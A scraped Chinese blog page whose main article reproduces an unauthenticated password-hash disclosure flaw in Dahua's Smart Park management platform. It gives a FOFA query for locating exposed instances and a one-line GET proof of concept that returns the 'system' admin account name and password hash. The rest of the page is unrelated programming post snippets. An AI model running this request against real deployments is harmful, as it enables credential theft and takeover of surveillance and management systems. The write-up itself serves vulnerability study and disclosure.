当前位置：首页 > news >正文

大华智慧园区管理平台任意密码读取漏洞复现

news 2026/5/12 22:46:23

文章目录

大华智慧园区管理平台任意密码读取漏洞复现
- 0x01 前言
- 0x02 漏洞描述
- 0x03 影响平台
- 0x04 漏洞环境
- 0x05 漏洞复现
- - 1.访问漏洞环境
  - 2.构造POC
  - 3.复现

大华智慧园区管理平台任意密码读取漏洞复现

0x01 前言

免责声明：请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用！！！

0x02 漏洞描述

大华智慧园区综合管理平台是一款综合管理平台，具备园区运营、资源调配和智能服务、摄像监控等功能。平台意在协助优化园区资源分配，满足多元化的管理需求，同时通过提供智能服务，增强使用体验。

大华智慧园区综合管理平台存在任意密码读取漏洞，可以直接读取管理账号名以及其密码Hash值，造成未授权登入访问劫持园区管理平台，危害性高。

0x03 影响平台

大华智慧园区综合管理平台

0x04 漏洞环境

FOFA语法： app=“dahua-智慧园区综合管理平台”

在这里插入图片描述

0x05 漏洞复现

1.访问漏洞环境

在这里插入图片描述

2.构造POC

POC （GET）

/admin/user_getUserInfoByUserName.action?userName=system

3.复现

在这里插入图片描述
访问漏洞检测POC中的漏洞接口，发现泄露了管理账号名：system 及密码Hash值！！！

大华智慧园区管理平台任意密码读取漏洞复现

文章目录大华智慧园区管理平台任意密码读取漏洞复现0x01 前言0x02 漏洞描述0x03 影响平台0x04 漏洞环境0x05 漏洞复现1.访问漏洞环境2.构造POC3.复现大华智慧园区管理平台任意密码读取漏洞复现 0x01 前言免责声明：请勿利用文章内的相关技术从事非法测试&…...

编程日记 2023/10/9 9:24:24

【C++ 学习㉖】- 位图详解（哈希扩展）

目录一、位图的概念二、位图的实现 2.1 - bitset.h 2.2 - test.cpp 三、位图的应用 3.1 - 例题一 3.2 - 例题二一、位图的概念假设有这样一个需求：在 100 亿个整型数字中快速查询某个数是否存在其中，并假设是 32 位操作系统，4 GB…...

编程日记 2023/10/9 9:23:23

天启科技联创郭志强：趟遍教育行业信数化沟坎，创业智能赛道重塑行业生态

郭志强天启科技联合创始人近20年互联网、企业信息化、数字化实施、管理及培训经验。对于集团型企业及初创企业、传统企业及互联网企业的信息化、数字化转型有自己独到的见解和实操经验。具备跨区域、集团化信息规划、解决方案、系统架构及企业流程搭建、优化和技术团队管理能…...

编程日记 2023/10/9 9:21:20

Cuckoo沙箱各Ubuntu版本安装及使用

1.沙箱简介 1.1 沙箱沙箱是一个虚拟系统程序，允许你在沙箱环境中运行浏览器或其他程序，因此运行所产生的变化可以随后删除。它创造了一个类似沙盒的独立作业环境，在其内部运行的程序并不能对硬盘产生永久性的影响。在网络安全中&#xff…...

编程日记 2023/10/9 9:19:18

什么是mvvm模式，优点是什么

MVVM（Model-View-ViewModel）模式是一种设计模式。它是一种开发模式，旨在分离用户界面的开发和业务逻辑的开发。MVVM模式将应用程序分为三个部分： Model：它代表应用程序的数据模型和业务逻辑。 View：它代表…...

编程日记 2023/10/9 9:17:16

C/C++ 中的函数返回局部变量以及局部变量的地址？

C/C中，函数内部的一切变量(函数内部局部变量，形参)都是在其被调用时才被分配内存单元。形参和函数内部的局部变量的生命期和作用域都是在函数内部(static变量的生命期除外)。子函数运行结束时，所有局部变量的内存单元会被系统释放。在C中&…...

编程日记 2023/10/9 9:16:15

springboot和vue：七、mybatis/mybatisplus多表查询+分页查询

mybatisplus实际上只对单表查询做了增强（速度会更快），从传统的手写sql语句，自己做映射，变为封装好的QueryWrapper。本篇文章的内容是有两张表，分别是用户表和订单表，在不直接在数据库做表连接的…...

编程日记 2023/10/9 9:15:13

【Leetcode】 51. N 皇后

按照国际象棋的规则，皇后可以攻击与之处在同一行或同一列或同一斜线上的棋子。 n 皇后问题研究的是如何将 n 个皇后放置在 nn 的棋盘上，并且使皇后彼此之间不能相互攻击。给你一个整数 n ，返回所有不同的 n 皇后问题的解决方案。每一种…...

编程日记 2023/10/9 9:13:09

Java数据库连接：JDBC介绍与简单示例

Java数据库连接：JDBC介绍与简单示例在Java程序中，操作数据库是必不可少的。JDBC（Java Database Connectivity）是Java中用于连接和操作数据库的一种技术。通过JDBC，Java程序可以与各种关系型数据库进行交互&#xff0…...

编程日记 2023/10/9 9:11:06

智慧茶园：茶厂茶园监管可视化视频管理系统解决方案

一、方案背景我国是茶叶生产大国，茶叶销量全世界第一。随着经济社会的发展和人民生活水平的提高，对健康、天然的茶叶产品的消费需求量也在逐步提高。茶叶的种植、生产和制作过程工序复杂，伴随着人力成本的上升，传统茶厂的运营及…...

编程日记 2023/10/9 9:10:04

springboot整合pi支付开发

pi支付流程图： 使用Pi SDK功能发起支付由 Pi SDK 自动调用的回调函数（让您的应用服务器知道它需要发出批准 API 请求）从您的应用程序服务器到 Pi 服务器的 API 请求以批准付款（让 Pi 服务器知道您知道此付款）Pi浏览器向…...

编程日记 2023/10/9 9:08:00

类 ChatGPT 模型存在的局限性

尽管类ChatGPT模型经过数月的迭代和完善，已经初步融入了部分领域以及人们的日常生活，但目前市面上的产品和相关技术仍然存在一些问题，以下列出一些局限性进行详细说明与成因分析： 1）互联网上高质量、大规模、经过清洗…...

编程日记 2023/10/9 9:05:57

Nginx的安全控制

安全控制关于web服务器的安全是比较大的一个话题，里面所涉及的内容很多，Nginx反向代理是安全隔离来提升web服务器的安全，通过代理分开了客户端到应用程序服务器端的连接，实现了安全措施。在反向代理之前设置防火墙，…...

编程日记 2023/10/9 9:04:55

字符串与字符编码 - GO语言从入门到实战

字符串与字符编码 - GO语言从入门到实战字符串与其他主要编程语⾔的差异基本数据类型：string 是基础数据类型，而不是引用类型或指针类型。string 在内存中占用的空间大小是固定的，且只读、不可改变。字节切片：string 是只读…...

编程日记 2023/10/9 9:03:53

12P4375X042-233C KJ2005X1-BA1 CE3007 EMERSON servo controller

12P4375X042-233C KJ2005X1-BA1 CE3007 EMERSON servo controller 我们提供三种不同类别的EDGEBoost I/O模块供选择，以实现最大程度的I/O定制: 数字和模拟输入/输出网络和连接边缘人工智能和存储利用EDGEBoost I/O实现变革性技术 EBIO-2M2BK EBIO-2M2BK载板支持…...

编程日记 2023/10/9 9:02:52

WPF向Avalonia迁移（四、其他事项）

开发必备 1. Avalonia项目源代码！！！！！！！！！！没有源代码，你连控件的背景色怎么改都找不着！！ 2.下载你所使用的版本&#x…...

编程日记 2023/10/9 9:01:51

Python 代码调试

from pdb import set_trace as stx 是一个Python代码中常用的调试技巧之一，它用于在代码中插入断点以进行调试。这行代码的作用是将Python标准库中的 pdb（Python Debugger）模块中的 set_trace 函数导入，并将其重命名为 stx&#x…...

编程日记 2023/10/9 9:00:50

DM宣传单制作，利用在线模板，快速替换文字

如果你需要制作一批宣传单，但是时间很紧，而且没有专业的设计人员协助，那么你可以选择使用在线模板来快速制作宣传单。本文将介绍如何使用乔拓云平台，快速制作宣传单的方法。步骤一：选择适合的在线制作工具首先&…...

编程日记 2023/10/9 8:59:49

【力扣】42. 接雨水

这道题我卡了差不多1个小时，不是不会做，是不知道怎么能用栈来实现，后面看了一个博主的视频，豁然开朗，我主要的纠结点在于当指针指到7的时候，我计算出4到7的水块是2，但实际上是0，因为…...

编程日记 2023/10/9 8:58:48

IPETRONIK数据采集设备携手Softing Q-Vision软件致力于ADAS测试方案

一背景汽车ADAS技术是当下国内外的重点研究方向，且ADAS的发展水平和市场竞争力紧密相关，因此一套完善的ADAS测试方案对各整车厂而言非常重要。然而，国内ADAS测试却面临着很多阻碍，主要原因在于：相关测试设备昂贵&am…...

编程日记 2023/10/9 8:57:46

AI智能体技能库构建：从标准化接口到安全实践

1. 项目概述：从“技能库”到“智能体”的进化之路最近在折腾AI智能体开发的朋友，估计都绕不开一个核心问题：如何让一个智能体真正“能干”，而不仅仅是“能聊”？这背后，就是“技能”的构建与管理。今天要聊的…...

编程新知 2026/5/12 22:15:47

VR大空间项目屡获行业大奖，AI数字人公司赋能文旅智慧升级

在经历了早期的概念普及和单点试验后，AI数字人、VR、MR等技术正在文旅行业完成从“尝鲜”到“刚需”的蜕变。不再仅仅是博物馆或景区里的一块互动屏幕，而是一套能够重塑服务流程、活化文化IP、创造全新消费场景的完整解决方案。从边疆秘境到城市地标&…...

编程新知 2026/5/12 21:47:51

2026年强烈建议收藏：八大热门AI编程工具权威评测

AI编程工具已全面进入智能体时代，从单一代码补全进化为全流程开发引擎。本文精选8款全球主流工具，从核心能力、场景适配、使用体验等维度客观解析，为开发者提供精准选型参考。一、Trae（字节跳动旗下）—— 全链路AI原生…...

编程新知 2026/5/12 21:45:45

GPT-Image-2提示词工程实战：从原理到应用，解锁高质量AI图像生成

1. 项目概述：一份高质量的GPT-Image-2提示词工程指南如果你正在使用OpenAI的GPT-Image-2模型，并且厌倦了反复尝试却只能得到平庸、不符合预期的图片，那么你找对地方了。我最近深度研究并实践了Anil-matcha维护的“Awesome GPT-Image-2 API Pr…...

编程新知 2026/5/12 20:54:57

基于MCP协议与向量数据库构建AI编程助手私有记忆系统

1. 项目概述：为你的AI编程助手打造一个“记忆宫殿”如果你和我一样，重度依赖Cursor这类AI编程助手，那你肯定遇到过这个痛点：昨天刚和它深入讨论过一个复杂的业务逻辑实现，今天想参考一下，却发现在浩如烟海的…...

编程新知 2026/5/12 19:20:24

Windows 10/11下MySQL 8.0.28安装失败？‘服务没有响应控制功能’报错保姆级修复指南

Windows平台MySQL安装报错终极解决方案：从"服务无响应"到完美运行遇到MySQL安装过程中弹出"服务没有响应控制功能"的红色报错窗口时，很多开发者第一反应是重装系统或更换数据库——别急！这个看似复杂的错误其实90%以上源…...

编程新知 2026/5/12 18:24:15

Active Record Doctor与多数据库支持：MySQL、PostgreSQL、SQLite兼容性详解

Active Record Doctor与多数据库支持：MySQL、PostgreSQL、SQLite兼容性详解【免费下载链接】active_record_doctor Identify database issues before they hit production. 项目地址: https://gitcode.com/gh_mirrors/ac/active_record_doctor Active Recor…...

编程新知 2026/5/12 18:20:10

SPT-AKI存档编辑器完全手册：单机版塔科夫终极存档修改指南

SPT-AKI存档编辑器完全手册：单机版塔科夫终极存档修改指南【免费下载链接】SPT-AKI-Profile-Editor Программа для редактирования профиля игрока на сервере SPT-AKI 项目地址: https://gitcode.com/gh_mirro…...

编程新知 2026/5/12 17:45:34